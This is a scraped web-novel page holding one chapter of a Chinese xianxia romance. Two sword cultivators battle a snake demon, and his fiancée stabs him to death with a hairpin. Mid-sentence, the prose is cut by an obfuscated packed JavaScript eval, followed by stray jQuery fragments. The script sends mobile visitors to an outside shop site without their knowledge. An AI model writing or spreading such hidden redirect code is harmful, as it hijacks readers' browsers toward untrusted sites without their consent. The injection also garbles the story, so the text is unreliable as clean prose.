文趣网 > 其他小说 > 爱你师兄洞房见 > 18.蛇妖的恋爱好难
    像是看出她心中的忧虑,奕君迁抬手,那些仆从受到了某种召唤般移动到他面前。

    他神情有些阴沉,白衣猎猎,衬得这个场景竟有几分诡异。

    “师兄……?”

    迟飞照不明所以转头看他,触及他眼中的戾气,莫名心惊。

    奕君迁不语,往前一挥,无形的剑气干脆利落地击中他们的脖颈。

    下一秒,原本还张牙舞爪的仆从们来不及动作,便身体一软,尽数倒地。

    从未见过这样的师兄。

    迟飞照瞳孔一缩,呼吸都急促起来,大脑飞速运转,一瞬间连师兄是不是被妖人夺舍都想到了。

    直到她看到倒下的“尸体”胸膛有着平稳的呼吸起伏,悬着的一颗心才安稳落下。

    自记事起,师尊便教导他们要有好生之德,迟飞照从未怀疑师兄对此身体力行,只是不免被他刚刚的神色吓了一跳。

    她从未见过师兄露出那样不快的神色,就好像……山下村庄的小黑狗为了守家门冲她呲牙一样。

    呸呸呸,怎么能觉得师兄像狗呢?

    迟飞照停止编排,又后知后觉因怀疑了师兄而有些愧疚,但很快归咎于始作俑者柳昀君。

    为了防止他们再一次被柳昀君操控,奕君迁的手指在半空中行云流水般划动着,嘴里低声念着什么。

    奕君迁简直是杂学的天才。

    迟飞照不由得怀疑他之前对外宣传只会剑招完全是过度谦虚,明明这种罕见的反制衡法术也应用自如。

    “好大的胆子!”

    反击也被轻松化解,柳昀君更加愤怒,大吼一声便朝着奕君迁冲去。

    “你想得美!”

    迟飞照正气恼柳昀君害自己怀疑了从小到大最信任的师兄,见奕君迁的阵法还差一点,迟飞照身形一闪,反手勉力挡去,硬生生将双剑之势融为一击。

    剑气贯日如虹。

    完全不是刚才她偷袭所使出的招式可以相比的。

    柳昀君不由得刹住脚步。

    “柳昀君,其实你也已经是强弩之末了吧?”不然也不会拉来李府这些毫无战力可言的仆从当肉盾。

    迟飞照扬眉,唇角勾起挑衅的笑,极尽嘲讽。

    笑容背后,她握剑的指节泛白,几不可察地微微有些发抖。

    显然刚刚是她一时逞强的爆发。

    打了那么久,她又何尝不累呢?

    但无论是寻常打架还是正式的战斗,无论再苦再累,她坚信气势上也绝对不能输。

    奕君迁与迟飞照并肩,自然察觉她气息不对劲。但他只侧目一瞬,并未露出异常。

    柳昀君沉默着,眼眸死死黏在她的脸上。

    “看什么看!”

    迟飞照斜睨他一眼,乌沉沉的墨瞳尽是不屑,趾高气昂地教训道。

    “难道你还没认清现在的局势吗?就凭你一个小小蛇妖,再修炼一百年也不是我和师兄的对手。”

    师尊教过的,会说垃圾话也是实力的一环。

    偏偏自己在这方面的实力,强的可怕。

    见柳昀君的脸由红变白又变为红色,迟飞照正准备继续趁热打铁,激他露出更多的破绽,对方却开口了。

    “念在娉婷真心待你,视你为好友,我今日本不想杀你们……”他咬牙,一字一句地挤出,“可你们却一而再,再而三地逼我。”

    是哦,还有李娉婷。

    迟飞照眨眨眼,顺着他的话继续刺激:“那你看看自己现在的样子,你觉得娉婷能接受你吗?她只不过是一个娇弱的大小姐,心理承受能力可没那么强。”

    “你一个外人懂什么?!”

    柳昀君猛然击去,震怒之下,连瞳孔都在不住地颤动,面目变得更加狰狞。

    急了,他急了。

    这正是自己想要的。

    但,迟飞照收起脸上刻意的笑,表情几不可见地凝重起来。

    柳昀君气急败坏下的反击,她还真未必能接得住。

    不管能不能,总要去做。她握紧手中的剑,下定决心拼了。

    草木被劲风裹挟,发出簌簌的声音。

    与此同时,奕君迁找准机会,果断出手。

    双方力量碰撞之下形成巨大冲击,似乎是有花瓣从树上震动飘落,迟飞照闷哼一声,被震得往后仰。

    奕君迁的剑已经动了,柳昀君却没反应,像铁了心要送迟飞照往黄泉去。

    迟飞照后悔刚刚拉了太多仇恨也来不及,只能抬手护住要害。

    一抹紫色从身后涌出来。

    迟飞照没看清来人,只闻到一点很淡的香气,紧接着一只手按上她的肩,用力把她往旁边一推。

    剑光没入那人左肩。

    温热的血喷溅,落在迟飞照颈侧。

    是李娉婷。

    柳昀君的剑停在那里,剑尖刺进她肩头。

    见到李娉婷,他整个人像被抽空了。所有动作僵住,脸上的疯狂还在,眼睛却一下瞪大。

    下一瞬,奕君迁的剑从他右肋下方贯入,自背后透出。

    长剑一抽出,血当即从创口涌出来。柳昀君膝盖一折,跪倒在地。

    院子里重新安静下来。

    迟飞照跪坐在地上,有些颤抖着伸手去压李娉婷肩上的伤。

    李娉婷半靠在她怀里,脸色白得厉害,眼睛死死盯着前面。

    “别动……”

    迟飞照撕下半截外衫按住伤口,不知道是不是错觉,她似乎抖得比李娉婷还厉害。

    和自己刚才和柳昀君说过的一样,李娉婷只是一个手无缚鸡之力的普通人。

    现在却替自己挡下了这一击。

    迟飞照简直方寸大乱,但好在师兄在旁边提醒她,用最快的速度在李娉婷身上点了几个穴位。

    眼下只能先止住她的血。

    “把娉婷还……给我。”

    柳昀君跪在几步外,右肋的血浸透了半边衣袍。他撑在地面,抬起头,目光越过迟飞照,找到李娉婷。

    奕君迁的剑已经重新指向他后颈。

    “再动一下,”奕君迁说,“我会直接杀了你。”

    实则柳昀君现在的状态也基本是活不成了。

    “把娉婷还给我。”

    柳昀君像是没听见奕君迁的威胁,执着地又重复了一遍。

    他盯着李娉婷,撑着地面试图站起来,甚至趔趄一下,膝盖差点重新磕回去。

    “娉婷?”

    迟飞照不复刚刚的镇定,她第一次遇到这种情况,头脑一片空白,不知道该说什么。

    沉默间,李娉婷在她的怀里动了动。

    她强忍着身上的剧痛,将自己头上的蝴蝶发簪拔了下来,用尖头对着面前的男人。

    “别过来。”

    此话一出,柳昀君的脸变得更加苍白,他伸出自己沾染了血迹的颤抖的手。

    “娉婷,你受了伤,说话会痛。我、我现在就带你去找尊上。”

    李娉婷双手死死攥着自己的发簪尾端,指尖泛白。

    “你和尊上,其实是一伙的吧?”

    她手上微颤,声音却笃定如惊

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868563|210636||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    雷般。

    迟飞照下意识看向不远处的奕君迁,师兄也正望向自己,面色凝重。

    是了,他们也一直想要弄清楚那尊邪神和柳昀君之间的关系。

    “不,不是,”柳昀君下意识地否认,“我们只不过是各取所需而已。”

    祂需要源源不断的生命力才能够复生,而他所想要的……

    自始至终只要和李娉婷在一起而已。

    “各取所需?”

    李娉婷的脸惨白如纸。

    “那你想要什么呢?我父亲的命?还是我的命?”

    明明早上,他们两个人还是亲密无间的一对爱侣,再次商讨了婚宴上会用到的鲜花种类,可现在呢?

    “不!不是这样!”

    柳昀君目露慌乱,似乎很害怕爱人的误会。

    “娉婷……”

    他又靠近一步,声音低哑,透露着可怜。

    迟飞照没有被他迷惑,她从刚刚的冲击缓过来,怒视着他,顾及李娉婷还在自己怀里,所以忍了又忍才没有拔剑。

    【师兄,如果他再做出什么可能会伤害到李小姐的事,你一定要出手。】

    她给奕君迁传音。

    【好。】

    师兄的回复很干脆。

    因为正贴着李娉婷相依,迟飞照能清晰地感受到她身躯不断颤抖。

    她在此刻才意识到自己早已将这位比自己还不谙世事的娇小姐视为了朋友……人生第一次感受到这么的不痛快。

    “不要再靠近了,柳昀君!”

    迟飞照咬牙,冲着对方厉声呵斥道,搂住李娉婷的手紧了紧,带着她微微往后退了一步。

    “娉婷,到我这里来。”

    柳昀君的眼神就没离开过自己的爱人,对周围的一切置若罔闻,固执地来到李娉婷面前。

    “你再过来,我会杀了你。”李娉婷的声音虚弱许多。

    柳昀君的动作只顿了一下。

    “你不会。”他说,声音温柔得有些异样。

    “你相信我,我一直以来,想要的只有和你在一起而已。”

    “娉婷,你原谅我,我去让祂治好你,我们还是一样幸福的。”

    柳昀君伸手抚上她的脸,眼睫低垂。

    “不要再说这些鬼话了!”

    许是他的话激怒了李娉婷,她突然爆发出不应有的力气,握着发簪,捅进柳昀君胸口。

    半截簪子没入心口。

    柳昀君停住了。

    他低头,看着那只颤抖的握簪的手,指节发白。

    他慢慢抬起自己的手,似乎想覆上去。

    李娉婷闭了闭眼,强迫自己忽视掉心里的难受。

    再睁开眼时,满脸只剩下决绝,她握着发簪,用尽全身气力,再次将它送入更深的地方。

    殷红的血珠自伤口漫出,柳昀君的手垂了下去。

    他向后倒去,背撞上落叶覆盖的地面,一声闷响。眼睛还睁着,望着她的方向,光已经灭了。

    李娉婷松开发簪,往后退了两步。

    迟飞照一把扶住她,却不知道怎么安慰。

    奕君迁走到倒下的柳昀君旁边,弯腰探了颈脉。

    “死了。”他蹙眉,直起身。

    可惜还没有问出邪神的更多信息。

    他看向迟飞照:“翩翩,我们先带她回去,伤口要处理。”

    迟飞照点头,和师兄一左一右扶着李娉婷往林外走。

    李娉婷勉强走了七八步,她突然挣开两人,向前跪在地上,弓着身体发出干呕声。